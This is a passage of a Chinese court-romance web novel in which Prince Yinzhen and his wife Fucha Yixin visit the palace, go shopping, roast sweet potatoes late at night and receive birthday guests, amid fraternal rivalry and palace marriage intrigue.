胤禛磨墨的手停了一瞬,温和点点头。 康熙指了指书房屏风前的位置,胤禛退到旁边坐下,专心听着康熙斥骂胤禵。 “你可知错?”康熙沉声说,“乾清宫前,你为老八求情,足见兄友弟恭之情,朕虽怒气滔天,单单看在你兄友弟恭的份上,也不曾过多苛责于你。” “谁知你莽撞无情,为老九求情不惜残害你的兄长。朕巴不得没有你这样的儿子!” “皇阿玛,儿臣知错。”老十四跪低叩首,“儿臣定会对四哥恭敬,谨记皇阿玛教诲。” 康熙缓和些脸色。 总归,他还用得上胤禵,胤禵自有他的长处,虽是莽撞些,却是带兵打仗的好苗子。 “起来。” “欸!皇阿玛!儿臣近日不能侍奉您膝前,实在惦念。”老十四略带讨好憨笑两声。 胤禛低头笑笑。 在乾清宫略坐一会儿,胤禛和胤禵一同到永和宫请安。 胤禵比胤禛要魁梧些,胤禛走在前面,胤禵错后半个身位跟着,两兄弟一路无话。 德妃今日笑意就未落下去过,温柔牵着仪欣的手,在宫门口亲自迎一迎兄弟二人。 胤禵看到富察仪欣,走得很快,胤禛皱眉。 “老十四,你皇阿玛原谅你了吗?” 德妃松开仪欣的手,目光担忧看着老十四,想检查一下他有没有受伤。 胤禵没有理会德妃的话,反而皱眉看着仪欣,说:“你向来怕冷,在宫门口站着做什么?” 话音未落,只见胤禛解落自己的大氅,裹到仪欣身上,手臂扶着她,温和对德妃请安,温声说:“额娘,不妨回宫叙话吧。” “欸,好。”德妃罕见眼神警告老十四一眼。 潜台词很明显,这是你四嫂。 她知道老十四的心思,也替他争取过,家世背景,她真是满意富察氏为老十四的嫡福晋,可是,如今不是他儿女情长犯浑的时候。 老十四看着胤禛揽着富察仪欣,看到富察仪欣眉眼弯弯将她捧着的暖手炉塞给胤禛,他心头泛酸。 进到殿内,仪欣将裹在身上的大氅解下来,乖巧坐到胤禛身旁。 胤禛自然而然替仪欣暖手,低声问她在宫里开不开心,有没有拜访贵妃。 仪欣手腕钻到他的佛珠里,手指把玩他的指尖,小声回应他。 德妃依旧如往常那般,挂怀老十四禁足期间有没有吃苦,对着老十四嘘寒问暖。 只是今日老十四频频走神。 德妃心里不虞,咬咬牙狠了狠心,露出个慈爱的笑:“老十四,你也老大不小了,嫡福晋的事情,也该有个章程了。” 老十四抿唇,“儿子不着急。” “老四觉得阿灵阿的幺女如何?”德妃不管老十四的话,反而笑着看向胤禛。 胤禛缓缓抬眼,似笑非笑开口:“额娘,夺人所爱非君子所为,若老十四执意不做君子,恐怕……” 说着,他低头笑笑,看向拨弄他腕间佛珠的仪欣,转了话锋,“阿灵阿的嫡女正在和老十七议亲。儿子觉得不妥。” 德妃笑意减淡,平淡说一句:“只是议亲,还没有定下,钮祜禄氏是你姨母的女儿,和老十四是亲上加亲,再合适不过。” 仪欣撇了撇嘴,帕子掩着翻个白眼,十四阿哥在的时候,她真的无语得一句话也不想说。 十四阿哥要配天仙吗! 两三年前和完颜琪琪格议亲,半路临时反悔,闭口不谈此事,逼得完颜氏只能搁置亲事,还好最后和十三爷喜结连理。 否则,就要被连累得为人妾室或者外嫁出京。 第66章生辰礼物 真缺德。 如今竟是看上了她的表妹,几乎是板上钉钉的十七福晋。 仪欣笑靥如花,没有分给老十四一个眼神,认真点点头应和一句:“王爷说得对,夺人所爱非君子所为。” 胤禛勾唇,专心继续跟仪欣小声说话。 “额娘,你不要再提此事了。”老十四沉默一会儿,不敢再看富察仪欣娇憨妩媚的脸,制止德妃继续开口。 德妃心中轻哼一声,有些疲倦揉揉眉心。 仪欣见状赶紧笑盈盈起身请辞,胤禛亦是起身行礼告退。 德妃不在意摆摆手,装作温婉同二人说要时常入宫。 谁知,半刻钟不到,胤禵亦起身离开。 德妃精心养护的指甲被她气恼折断,深紫旗装上的云纹绣花止不住起起伏伏。 忍无可忍,德妃扯掉护甲扔到地上。 “富察氏是给本宫的老十四下降头了吗?不过是个没什么脑子的丫头片子,老十四还丢了魂不成?” “娘娘…您…十四阿哥只是暂时想不明白…您宽心。” “本宫没办法宽心,如今是何等关键时期,老十四姻亲薄弱,光他后宅里那几个侧室格格,怎么够用?” …… “朝堂之上,熙熙攘攘,利来利往,姻亲不过是借口而已,明白吗?”胤禛抱着仪欣坐到自己身上,把大氅裹着她,随意倚着马车壁,“所以老十四若是立不起来,娶谁为福晋都无益。” 仪欣动动脑袋,餍足猫儿般笑眯眯说:“王爷,我真的觉得你说话格外有道理。” 胤禛轻笑,重重亲一下她的太阳穴,替她将有些不老实的流苏暂时取下来。 她睫毛很长,趴在他怀里,偶尔流苏扫过她的眼尾,她总是不舒服得眨眼睛。 胤禛在袖袋里掏出一团银票,塞到仪欣手里。 仪欣双手捧着,目瞪口呆看着胤禛含笑挑眉。 “王爷…好多钱啊…” “皇阿玛赏了些银票,本王想着近日王府都靠福晋嫁妆养着,这笔银两就塞到你的嫁妆里吧。” 仪欣搓了搓手指,支着身子聚精会神数银票,越数越慢,惊愕叹口气:“十万两啊?把王爷卖了都不值这么多钱吧。” 万岁爷怎么突然赏了这么多银两?王爷把自己卖给万岁爷了? 亲王爵位一年才一万两银子的俸禄。 胤禛好整以暇倚着马车壁,掐一把她的腰肢,“凭什么把本王卖了?” 仪欣弯了弯眼睛,眼尾绯红,如温玉桃花般散发着诱人的清香,她从善如流痴痴笑着说:“卖我,卖我好了…” 胤禛搂紧她的腰,看着她又数一遍银票,马蹄声和车辙细碎轻吻地面。 仪欣数完一遍,将银票分成两份,“我们一人一半。” “怎么?这五万两留着给本王赎身?” 胤禛耸肩挑眉,手掌稳住她的腰肢,让她坐得安稳。 仪欣闻言咯咯笑,如果王爷是青楼男倌,她千金散尽也要给他赎身,别问,问就是喜欢救风尘。 “王爷,我说真的,你比我在照春芳打赏的男伶人要好看许多。” 又来了又来了。 胤禛眯着桃花眼,无奈笑叹口气,温声说:“那就多谢福晋夸奖了。” 最终十万两银票还是进了仪欣的腰包,胤禛给出的解释是,仪欣养家实在是太辛苦了。 马车外尽是冬日暖阳,今儿天气很不错,仪欣好不容易出府,自然想多逛一会儿。 晴云通晓药理,又会武艺,替仪欣把脉诊断后,确认她健康如常,胤禛才放心带她一起去八大街逛街用膳。 八大街雪化尽了,人潮熙攘,仪欣牵着胤禛的手,笑意晏晏在街头逡巡。 “我们要去哪里呢?”胤禛温柔问。 胤禛平时没有太多时间陪仪欣逛街,若是有空时,他也没有任何需要的东西,任凭她想去哪里,他就跟着她,听她分享她喜欢那种衣裳簪钗,给她付钱。 仪欣倏而惊叹一声,尾音轻扬在齿贝含着,“我们要去给王爷买生辰礼物!” “什么?”胤禛一愣。 “生辰礼物啊,”仪欣牵着他的手,边走边说,“腊月十三,我都记得。我们一起选一件你喜欢的生辰礼物。” 胤禛被她牵着走,抿着唇替她裹紧披风。 他本想说什么都不需要,可是转瞬又想,说不用她费心,本身就是一件扫兴的事。 “好,那你要认真帮本王选。”胤禛说。 其实,他许久不过生辰了。 出宫开府后,生辰总是过得格外潦草,雍亲王府没有女主人,他亦不喜排场,偏爱安静独处,故而没有办过生辰宴。 最多不过是饮酒,有两次都赶上在外省办差,他是个没什么仪式感的人,生辰与否,孤身一人,无甚差别了。 及冠后的年岁过得异常快,十字出头时,总是要数周岁;然而及冠后,便爱谈虚岁,只说二十又六。 胤禛的生辰是年末,他想了一会儿,竟然数不清这个生辰,他究竟是满二十四,还是满二十五。 说着是选一件礼物,实则买了满满当当一马车。 仪欣派侍卫将她买的礼物放到马车上,然后去春意楼用膳。 她好累,软若无骨般倚在胤禛身上,未进包厢便已力竭。 胤禛无奈,将人半搂着,卸下她身体大部分重量,带到包厢里。 “刚刚便说不要逛了,如今累到多难捱。”胤禛将她的腿搭到自己腿上。 仪欣连说话都不想说,咕咚咕咚喝下胤禛喂到唇边的水。 “有没有哪里不舒服?”胤禛摸她的脑袋,唇角亲了亲。 “没有,饿了。”仪欣有气无力倚着他,“就觉得什么都适合王爷,所以没逛够。” 苏培盛从门外弯腰走进来。 不等苏培盛开口说话,胤禛眼眸微眯,颇为晦暗,轻声唤一句:“富察仪欣?” “啊?”仪欣虎头虎脑娇慵仰头。 胤禛扶住她的头,垂眸低头吻下去。 苏培盛赶忙低头,王爷呦,我清冷出尘的王爷呦,门没关呢,十四爷在门口呢! 蜻蜓点水般轻碰她软糯粉红的唇瓣,胤禛弯唇,倚着椅背,眼风刮一下苏培盛站立难安的身体。 “怎么了?”胤禛不咸不淡问。 “王爷,十四爷说恰巧路过,想和您与福晋一同用膳。”苏培盛说。 胤禛嗤笑一声。 第67章春意楼偶遇 仪欣亲吻后下意识想和胤禛耳鬓厮磨,听到苏培盛的话警惕直了直身子,心里嘀咕一句,来干什么? “让他进来吧。”胤禛无可厚非淡淡开口。 胤禵阔步进来,面色看不出什么异样,实则心里疯了有一会儿了,他亲眼看到他们亲近,比那夜看到四哥胸膛上的红痕还要难熬。 “四哥…四嫂…” “坐。”胤禛抬手示意。 苏培盛极有眼力见上前给胤禵斟茶。 “哎呦,四爷,福晋,草民给您上菜。” 堂倌笑呵呵边上菜边报菜名,喜气洋洋的,雍亲王福晋是春意楼的常客,堂倌极有眼色将福晋偏爱的菜式摆到她面前。 出于礼节问题,仪欣笑着吩咐:“伺候着十四爷点菜。” “欸!十四爷,您加菜!”堂倌哈腰笑着说。 胤禵一愣,看向仪欣,倒是有些扭捏:“不用,你喜欢吃啥…我就…” “胤禵…”胤禛不咸不淡打断他,淡淡抬眸,“吃饭。” 仪欣先给胤禛夹一块清蒸肥鸭,然后接过晴云盛好的桂花甜米粥。 胤禵心梗,他不知道为什么自己跟着来了,他生而尊贵,龙子凤孙,生来就是要风得风,要雨得雨,额娘溺爱,皇阿玛对他也算喜爱,唯一不可得的之人便是富察仪欣。 贴身太监给他布菜,胤禵挥挥手让人退下,自己用膳。 仪欣腰肢绵软,腿疼胳膊酸,若是胤禵不在,她便能舒舒服服靠在王爷怀里,而不是如今莫名其妙自己坐着。 “一会儿还要去哪里逛吗?”胤禛问。 “要!王爷上次的雪人泥陶在哪里买的?我要再买一个。” 胤禛摇摇头,给她夹菜,说:“今日不能去,城西有些远,况且那泥陶需要提前四个时辰订下。” “爷去给你买。”老十四说,“晚些给你送去府上。” 仪欣歪头,纳闷看一眼老十四诚恳的脸,脱口而出:“啊???不用了,十四爷,我们府上有小厮。” 胤禛差点笑出声来,看着老十四难看的脸色,慢悠悠转移话题,聊起别庄养着的骏马。 聊起骏马,老十四不至于胡说乱七八糟的话。 仪欣喜欢她的青棕骑,刚学骑马,既感兴趣又不至于一窍不通。 仪欣和胤禛坐得很近,开始该老老实实坐着,她的腿软绵绵并着倚在胤禛的腿上。 胤禛一边跟老十四说话,手掌将仪欣的腿拢到自己腿上搭着,左手在桌下不紧不慢帮她揉捏。 仪欣猫儿似的眯眼,微偏着身子倚在椅背上。 在熟悉的人身边,仪欣整个人是柔软娇憨的气质,好像是小猫露出最脆弱绵软的肚皮,只是她有些清瘦,若是外人面前,就是清清冷冷带些娇蛮和明媚。 往常老十四看到的清冷娇蛮的她,如今,却是她另一种的模样。 仪欣实在是太…不同了。 她的气质容貌和性情,在满洲格格中都是不可多得的。 他情窦初开时,遇上的是富察仪欣,遇到的是一个绝对惹人喜爱的人。 老十四呼吸放的很轻,他自己都不曾察觉,他说话的语气与平日大不相同,尽量顺着仪欣跟她多说两句。 “王爷,马齐大人和富察夫人在外面。”苏培盛提醒。 仪欣倏地将腿在胤禛身上滑下来,乖巧坐直身子,看向包厢门口。 胤禛弯了弯唇,“请马齐大人进来坐坐。” 马齐笑呵呵进来,富察夫人温婉微笑着行礼问安。 “阿玛,你怎么知道我想再买个雪人泥陶?”仪欣欣喜惊呼,“你实在是太厉害了!” “十四爷也在啊?”马齐有些傲娇把泥陶递给仪欣,乐呵呵解释一句,“老臣和福晋外出办点事,没想到偶遇王爷。” “是啊,好巧。”胤禛挑眉,“马齐大人不妨一同用膳吧。” 仪欣起身凑到钮祜禄氏身旁,眉眼弯弯笑着挽上她的胳膊。 胤禛随口说:“仪欣,隔壁包厢仍旧空着。” “那我和额娘到隔壁叙话。”仪欣欢喜弯唇。 富察夫人面容慈爱,拍拍仪欣的手,目光稍微落在十四爷身上,抚髻行礼告退。 隔壁包厢。 钮祜禄氏略带担忧检查仪欣气色和身体,仪欣寒冬腊月从未出过门,她担忧她身子吃不消。 面色红润,竟是还胖了一点。 钮祜禄氏放下心来。 仪欣娇憨倚在钮祜禄氏肩膀,幸福喟叹一声:“额娘,我真想你。” “福晋最近在做什么呢?”钮祜禄氏温柔笑着问,将给仪欣求的平安符系在她的腰间。 仪欣分享她打马吊牌的事情,还有今日入宫见到贵妃。 “福晋只玩过两次马吊牌,便能和太子殿下诸位王爷打牌,真是厉害。” 钮祜禄氏笑着夸赞仪欣,并不扫兴说万岁爷禁赌的事情。 总归这些事情雍亲王都有分寸。 这两个月天凉,仪欣不再出府,钮祜禄氏挂念女儿,担忧她冬日难捱,年幼不知事受凉,却也不合适频频去雍亲王府探望。 今日得知仪欣入宫,她忙不迭和老爷出府碰碰运气。 “额娘,我今年冬天没怎么生病。”仪欣得意表功。 “平日里可不能大意。” * 马齐见到女儿就是高兴,张罗着小酌几杯,豪爽笑着跟胤禛和胤禵聊天。 老十四有些不想继续坐在这里了,他出宫跟在四哥和富察仪欣身后,便看着富察仪欣忙前忙后给四哥买东西,还要她付钱,实在不安乐。 “四哥,弟弟府上还有事。”老十四起身说。 胤禛慵懒摆摆手,“去吧。” 老十四离开,马齐更是一个劲给胤禛倒酒,不忌讳聊起昨日太子的荒唐事。 旁人不知内情,富察马齐总归还是得到些风声的。 “王爷,太子和万岁爷的事,不该沾惹啊。”马齐叹口气。 太子和万岁爷之间,早晚有一场正面交锋。 胤禛给马齐倒一杯酒,轻捻佛珠,运筹帷幄开口:“多谢岳父提醒,胤禛心中自有分寸。” “欸!”马齐更乐呵了,逾矩拍拍胤禛肩膀,岳父看女婿,也是越看越满意。 用过午膳,钮祜禄氏本想随着马齐离开。 胤禛知道仪欣很想跟自己的阿玛额娘多待一会,于是主动提出一起在八大街逛一会儿。 第68章一块一块将他捡回来 马齐脾气很犟,偏偏就跟福晋和幺女千依百顺。 仪欣和钮祜禄氏走在前面,胤禛和马齐在后面跟着,两个人聊着些朝堂上的琐碎事。 路上遇上几个同僚,胤禛和缓同他们打招呼。 “阿玛,我带了很多银两,你不用给我付钱。” 马齐结账动作很麻利,不赞同摆摆手:“阿玛在这里,哪时候用得上你的银两。” “那好吧。”仪欣眼睛弯了弯。 仪欣抬手吩咐晴云将那些话本子都包起来。 胤禛随手翻看一下,将手中适合仪欣读的策论顺手递给晴云,一并包起来。 又逛了一个时辰,胤禛都有些疲惫,揉了揉额角,看着她仍旧兴致勃勃,既纳闷又担忧,温声解释不能再逛了,改日再出来。 仪欣一到马车上就蔫了。 胤禛无奈叹气,把人揽着抱到身上,让她躺着舒服些,仪欣闭着眼他的扎在怀里,平稳憨实呼吸。 睡吧。 一出门撒欢,拉都拉不住。 雍亲王府离八大街不算近,到了之后,仪欣正是半梦半醒的时候。 “王爷?” “嗯。本王抱你回府,别乱动。”胤禛低声温柔缱绻亲一下她的耳朵。 胤禛将她的斗篷裹紧实,又把他的大氅包在她身上,俯身抱着她回府。 侍卫小厮大包小包搬着仪欣买回来的东西,晴云指挥他们放到不同地方。 “王爷,额娘说我比往年冬日要胖一些,怪不得去年喜欢的衣裳穿着紧。”仪欣闭着眼靠在胤禛身上,声音闷闷的。 “没事,再做很多衣裳。” 胤禛抱着怀里很轻的一团,心里其实有些沉。 她这么轻还比往年冬日胖,那之前冬天容易生病该有多清瘦? 胤禛把她抱紧大步走进正院寝殿,放到床榻上,把她的鞋脱掉。 仪欣困倦打个哈欠,扯过被衾就要继续睡觉,胤禛按住她的手腕,温声说:“不行,先去泡药浴,今日疲累,若是生病会吃苦头。” 仪欣闭着眼装听不见,偏偏动了动小拇指。 看吧,她累得只有小拇指能动了。 胤禛无奈叹口气,吩咐晴云准备药浴,然后坐在床榻边,把人搂在怀里,给她脱衣服。 “累。” “你别动,不累。” 胤禛像是剥笋一般为仪欣更衣,仪欣软绵绵配合他的动作,最多不过翻个身。 其实…不止胤禛身上被她咬得青紫。 她皮肤白皙细腻,养的又娇又软,锁骨处也有星星点点的红痕,大多数都是他情不自禁时留下的。 胤禛喉咙干涩,几乎是强忍着给她换上泡药浴的薄纱,抱着她大步走到内殿浴室,几乎是塞到汤池里。 汤池里是黑乎乎的汤药,反而衬得仪欣锁骨之上肌肤更加白皙,星星点点红痕暧昧落到锁骨窝里,像是空灵山泉里嬉戏的红鲤鱼。 胤禛要离开,唤晴云进来伺候。 仪欣抬腕勾住他的手指,嗓音微哑轻声呢喃,“王爷陪我。” “不行,等你泡完…再陪你。”胤禛拒绝。 仪欣勾着他的拇指没有落下,在汤池中睁眼看着胤禛,要哭不哭的瘪了瘪嘴。 胤禛同意。 * 今日仪欣睡得格外早,连她买回来的东西都来不及整理。 她平日里最喜欢亲自归置喜欢的小玩意,如今她酣眠,她买回来的东西满满当当摆了一地。 胤禛坐在寝殿内,握着一卷佛经,闲适读着。 苏培盛在寝殿门口晃了晃,胤禛见状,看一眼熟睡的仪欣,披上大氅悄声走出寝殿。 夏刈等在前院榕树下。 胤禛背着手淡淡开口:“事情办的怎么样了?” “王爷,太子殿下说,年氏花容月貌,年岁和弘皙阿哥正相仿,想许给弘皙阿哥为侧福晋,和乌拉那拉氏格格一样,于年后入府。”夏刈低声回复。 “太子不想纳年氏便算了,”胤禛看了一眼绿瓦上的残雪,“既然年羹尧需要靠山,本王为他引荐太子,总不算辜负了他。” “是,王爷仁慈。”夏刈附和一句。 王爷仁慈。 弘皙阿哥的后院来年不知有多热闹。 弘皙阿哥的嫡福晋是科尔沁乌郎罕济尔默氏,噶尔藏之女;还有个莫名其妙贬妻为妾的青梅竹马侧福晋乌拉那拉氏;如今又添一个钟情自家王爷的年氏。 毓庆宫该乱成一锅粥,搅和搅和趁热喝了吧。 冬日严寒,重重的雾气惹得胤禛冷峻眉眼朦胧飘渺,看不太真切。 夏刈觉得王爷仍有话说,于是恭敬立在原处。 他在暗处观察,王爷在福晋面前如今这般模样差距太大,像是隔着谷崖天堑,没有人比他更清楚,王爷是多么杀伐果断、冷漠无情的人。 “既然老十四一直想带兵,出京历练两年,便给他个机会吧。”胤禛声音很冷,又似是无奈,“如果他不争气,本王这个做兄长的,会一块一块将他捡回来。” 夏刈起一层鸡皮疙瘩。 “回吧,本王再想想。” 胤禛脊背如青松,在树梢绿瓦的残雪间行走。 “王爷呢?” 胤禛进到寝殿,听到的便是她软乎乎自言自语的问询。 “本王在这里。” 仪欣懵懵然坐起来,胳膊朝胤禛探了探。 “等会儿再抱你,本王身上凉。” “王爷怎么出去了,外面好冷。”仪欣见他不抱自己,倏地咕噜一下又倒下了。 胤禛解落大氅,在暖炉旁站着,察觉到她的动静,闷闷笑看着她犯懒,不忘回答她的问题:“夏刈有事禀报,所以就想出去了,你想不想听听是什么事?” 仪欣又坐起来,兴致勃勃问:“什么事?” “听说年氏和乌拉那拉氏会同时嫁予弘皙为侧福晋。”胤禛随口说,不忘补充一句,“本王也只是听说。” “什么?谁?”仪欣一下子来了精神,两个人她都熟,撑着床榻踩上鞋,跑到胤禛身边抱住了他的腰。 “王爷,你快细说。” 胤禛躲一下,轻啧一声:“别黏着,本王身上凉。” “不凉不凉。”仪欣挤在暖炉旁一起烤火,“王爷,你说,有没有可能我一边听你说这件事情,一边烤个红薯呢?” 第69章半夜烤红薯 谁给她惯得想起一出来是一出? “不可以。”胤禛直接拒绝,还是耐心解释说,“在银丝炭里烤红薯会有明火,到时候起了浓烟,今晚咱们都不用睡了。” “啊?那好吧。”仪欣遗憾鼓了鼓腮帮子。 她挽着胤禛的胳膊,半挂在他的身上,瀑布般的长发干燥轻柔,细碎发尾缠绵地吸附在胤禛衣裳上。 胤禛注意到她的发丝,呼吸轻了一下。 “走吧,别在寝殿烤,去偏殿烤红薯,还能给你烤几个板栗。”胤禛长臂揽着仪欣的肩膀。 仪欣本来都放弃这个念头了,柳暗花明,觉得格外高兴,抱着胤禛拱了一会儿,惹得胤禛无奈笑。 两个人在偏殿围着火盆,盘腿坐在软垫上。 胤禛一边跟她说弘皙成亲之事,一边利落拨弄火盆里的红薯。 “你靠后点坐,太呛。”胤禛提醒着,腾出一只手来,将她连人带软垫拉远一些。 仪欣靠在胤禛的腿上,眸光明媚,气色盈润,偶尔蹿出来的明火照得她的小脸红扑扑的。 “我觉得我们有必要再吃一碗鸡丝面。”仪欣提议。 “……”胤禛沉默一下,缓缓开口,“你饿的话…就吃。” “苏培盛,”仪欣大声对外面吩咐,“让小厨房做两碗鸡丝面来。” “欸!奴才这就去!”苏培盛隔着门立刻应声。 苏培盛办事妥帖,鸡汤面端上来,还有两碗消食的红枣山楂茶,与些许精致小菜。 “苏培盛,给小厨房送赏,你也有赏。”仪欣朝苏培盛骄矜扬扬下巴。 苏培盛大喜,“哎呦,奴才多谢福晋赏。” 胤禛看着她美滋滋的模样不自觉勾唇,挥挥手示意苏培盛退下,将烤好的红薯剥掉一半的皮,包着手帕递给她。 “小心烫。” “谢谢王爷。”仪欣笑眯眯捧着红薯,轻轻吹气后吃一大口,“真的超级甜。” “王爷若是不做王爷,卖烤红薯肯定也能养活自己。” 胤禛含笑睨她一眼,不紧不慢将烤好的板栗剥壳,揶揄说:“本王若是不做王爷,仪欣不愿意养着本王吗?” 仪欣把红薯递到胤禛嘴边,让他也吃一口,忙不迭点头,“愿意愿意!” “那就好。” 胤禛将半个板栗塞到她嘴里,勾唇笑,看着她跟小松鼠一样嚼嚼嚼,觉得很满足,真是不枉他深更半夜蹲在这里莫名其妙倒腾火盆。 仪欣想起前两日植宁给她写信分享的心事,便想着问问王爷的想法。 “王爷,西林觉罗府上近日有几户提亲…嗯…植宁的额娘更看重那个老实本分的世家子,她的阿玛恰恰相反。” 仪欣吃着烤红薯跟胤禛说植宁的亲事,只是涉及手帕交的名声问题,仪欣没有说具体是哪家,只是将植宁难以抉择的问题咨询一下胤禛的想法。 “西林觉罗氏不乏争吵,王爷觉得呢?” 胤禛挑了挑鸡丝面,听着她说话,纵使她没有说是哪家,他也能猜个八九不离十。 “只是本王自己的一些想法。” “结合她的性情来看,建议她不要嫁给所谓的老实人。有些人没有不良嗜好,也不做坏事,但是也会杀人于无形。” “有时候老实本分只是他的外衣,无能,没有担当,迂腐木讷,才是平淡生活中磋磨人的杀手锏。” 胤禛说完,摸了摸她的脑袋,俯身想亲一下,还是克制住,继续看着她思考。 他是权利本位的思想,根深蒂固的是适者生存的掠夺侵占念头,其实,某种程度上,胤禛在潜移默化给仪欣输出自己的思维。 “那我可以给她回信,把王爷的话告诉她,让植宁参考一下。” “可以。”胤禛挑眉,把仪欣搂在怀里。 仪欣把栗子喂给胤禛,胤禛刚衔上她递过来的栗子,仪欣促狭追吻咬下去一半。 “富察仪欣…”胤禛眸色幽深,拦腰搂她很紧,嘴里咬着板栗,邪气慵懒对着她笑。 仪欣倏地钻出他的怀里,端着碗盘着腿闷闷笑,轻声唤他:“胤禛…珍珍…” 故意的。 胤禛睨她一眼,轻轻“嗯”一声。 仪欣不知道怎么说,聊起植宁的亲事问题,突然想到曾经未出阁时,她和植宁也会看话本子,私密分享喜欢什么样的人,幻想成亲后的生活。 刚刚一瞬间,看着胤禛,仪欣觉得,她正过着喜欢的生活。 这样想着,仪欣又好想蹭蹭他,黏黏糊糊钻到胤禛怀里。 “富察仪欣…”胤禛在她头顶幽幽叹口气,按住她乱蹭的肩膀,“你检查一下,你的烤红薯是不是蹭到本王的腰上了?” 他轻微有些讨厌脏东西。 仪欣愣愣抬头,眼巴巴看着他,胤禛噗嗤一笑。 哦,蹭她自己脸上了,那没事了。 人在吃的非常饱的时候,犯困是轻而易举的事情。 胤禛不想让仪欣深更半夜吃太多东西,故而谎称他很饿,把仪欣吃不完的面和烤红薯都吃光了。 重新洗漱过后,胤禛抱着仪欣,餍足眯着眼轻吸她的温度,手掌不紧不慢轻拍她哄睡。 “王爷…” “乖乖…明天再说。”胤禛亲一下她的额头,“记录小乖第一次半夜烤红薯。” 仪欣柔软蹭蹭他,她想说,今天也很喜欢他。 * 东方欲晓,残雪未消。 年枝踩在长凳上,迟迟没有踢翻,紫金香炉里冒着青白的烟雾,熏得她眼泪直流。 为什么一点点机会都没有? 为什么? 为什么弃她如杂草? 粘杆处暗卫倚着门,神色木然看着年枝的一举一动,没有制止,反而有种让她自由抉择的松弛感。 “年小姐若是不自缢,便下来吧。”暗卫声音很平静。 一而再,再而三,这种寻死觅活的戏码,王爷不是年羹尧,自缢关王爷什么事? “我要见雍亲王。“年枝说。 暗卫将一摞口供撂到长凳上,年枝慢慢松开白绫,哽咽一声,目光呆滞翻看那摞口供。 “年小姐做事不太周全,只是年羹尧还算周密之人,城南之事,年小姐所做所为,自己不会忘了吧?” 第70章胤禛生辰(1) 口供上的红色画押还有血腥气。 胤禛喜欢秋后算账,让人提心吊胆,草木皆兵的事情,他觉得极有意思。 疾风识劲草,板荡见忠臣。太子如今求贤若渴,搭配年羹尧这般左右摇摆的人,很是合适。胤禛不喜欢以德报怨,让人孤独享受权力这种便宜事,他做不到。 “年小姐自会去到该去的地方。” 暗卫说着,缓步靠近年枝。 年枝后退,呢喃问:“去…去哪?” 一个手刀,年枝被劈晕,晕倒前,她似乎听到那男人说,去哪都是她哥哥的选择。 暗卫掐着年枝的脸喂了一颗红色的药丸,猛地一拍她的后背,将白绫自房梁扯下来,悄声离开。 * 胤禛生辰是一个平静的冬日。 仪欣寅时困得懵懵的坐起来,在床榻上抱着胤禛的腰同他道生辰快乐,胤禛亲了亲她的额头便去上朝了。 寒冬腊月实在是太冷了,往年王府没有女主人,胤禛不会额外操持办生辰宴。 仪欣想给他大办特办,却心有余而力不足,她自幼便懂事不给家里人添麻烦,自己冷到病态的程度,不能忙前忙后操持,生辰宴少不得露面应酬,若是染了风寒,只是感动自己反而让亲者担忧。 便是如此,仪欣亦忙得晕乎乎的。 宫中万岁爷的赏赐流水般送过来,连同德妃和宫中娘娘、诸位阿哥的生辰礼以及朝中大臣府上的贺礼,从早晨到晌午便不曾停过。 太后常年礼佛,除了五爷之外,与哪位皇子都极少联络,也送来丰厚的生辰礼。 仪欣一一记录在册,本朝讲究礼尚往来,即使未开办生辰宴,仪欣则是准备合宜的回礼,视作尊重也沟通情谊。 仪欣不出门也把自己打扮的漂漂亮亮的,每一层衣裳都有巧思,身上带着一大堆配饰,走起路来叮叮当当,亮眼得如同花蝴蝶一般。 “王爷什么时候回来?”仪欣轻倚在琴案前,百无聊赖拨弄古琴,像只慵懒的猫儿。 “四嫂,我来的不算迟吧?”一道张扬疏朗的声音传来。 “姚虞姐姐!”仪欣应和一声,欢喜起身迎过去,“我好久没见到你。” 姚虞戴着护甲的手指解落火红的斗篷,明艳高贵回眸将手炉递给身后的丫鬟,她穿着一身正红色旗装,踩着花盆底更是身材高挑。 与仪欣尚未长开的娇软精致不同,姚虞美艳无方,是极有攻击力的容貌气扬,让人见到便会联想到花中之王的绝色牡丹。 仪欣不由自主便想唤“姐姐”,改不过来,索性不改。 “这阵子额娘病了,永寿宫离不得人,我得伺候着。”姚虞挽着仪欣坐在罗汉榻上。 姚虞的大丫鬟微笑着将手中八贝勒府准备的生辰贺礼递给晴云。 仪欣蹙眉,轻声问:“良妃娘娘如今身子怎么样了?” 姚虞抿唇,轻轻摇了摇头,“怕是…有郁郁而终的先兆。” 心脉受损,形未败而魂先凋,郁郁而终。 对于一个颇为敏感庸懦的女子而言,有什么比儿子失势、皇上以她的出身为由诋毁其子的打击更大呢? 自她过门,良妃娘娘待她温柔和顺,纵使她如今和胤禩有些疲惫的纠缠,她仍旧尽心尽力侍奉宽慰良妃。 八爷入后宫不方便,况且,万岁爷朝堂上不养闲人,纵使八爷失势,也并非无所事事,更不要说八爷十爷苦心经营,想着过个一年半载将老九自养蜂夹道捞出来。 总之,姚虞日日宫内外两处跑,也有些疲惫。 “我这里有很多滋补的药材,姐姐走的时候带着。” “好。” 姚虞和仪欣说一会儿话,便不由得靠在仪欣的肩头,微微闭着眼。 仪欣胳膊撑着茶案,呼吸放轻,静静看着姚虞。 直到晴云轻声提醒:“福晋,十三福晋带着小格格到了。” 姚虞先睁开眼,凌厉的眉梢忽而带些母性的柔和。 仪欣动了动身子,起身,惊讶笑着说:“快请进来,小格格也来了。” “姚虞姐姐,我还没见过十三弟的女儿。”仪欣雀跃守在门口。 姚虞轻声说:“我也只在满月宴上远远瞧过一眼。” 完颜氏先进来,回头看着乳娘抱着裹得严严实实的孩子。 “四嫂,八嫂。” “来,让我看看乖乖。”仪欣声音特别绵软。 小格格刚放到软榻上,完颜氏给她脱去外面的小斗篷,露出软乎乎的粉色棉衣。 完颜氏的女儿刚一岁半,小脸肉嘟嘟的,和老十三长得很像,眼睛更像完颜氏,不太大但是笑起来弯弯的。 “真可爱,她有乳名吗?”仪欣眼睛亮晶晶看向完颜氏。 姚虞在仪欣身后笑着吸引小孩的注意力。 “有,叫弯弯。”完颜氏慈爱笑着,把带着的布老虎递给小格格,顺手给她擦了擦口水,“生在月初,月牙弯弯。” “弯弯~” “弯弯…” 仪欣和姚虞都变了语调,叫着孩子的乳名。 弯弯已经一岁半了,知道是在叫她,含糊不清说话,朝着姚虞张开胳膊。 姚虞惊喜看向完颜氏,轻声询问说:“十三弟妹,我…我抱抱行吗?” “欸,八嫂抱吧,”完颜氏把弯弯抱起来,调整着姿势递给姚虞,“她年纪小,劲儿可大,八嫂小心点。” 姚虞小心翼翼接过来,抿着唇笑着唤孩子的乳名。 弯弯咯咯笑,不认生唤额额。 可能在小孩子眼里,漂亮的女人都叫额额。 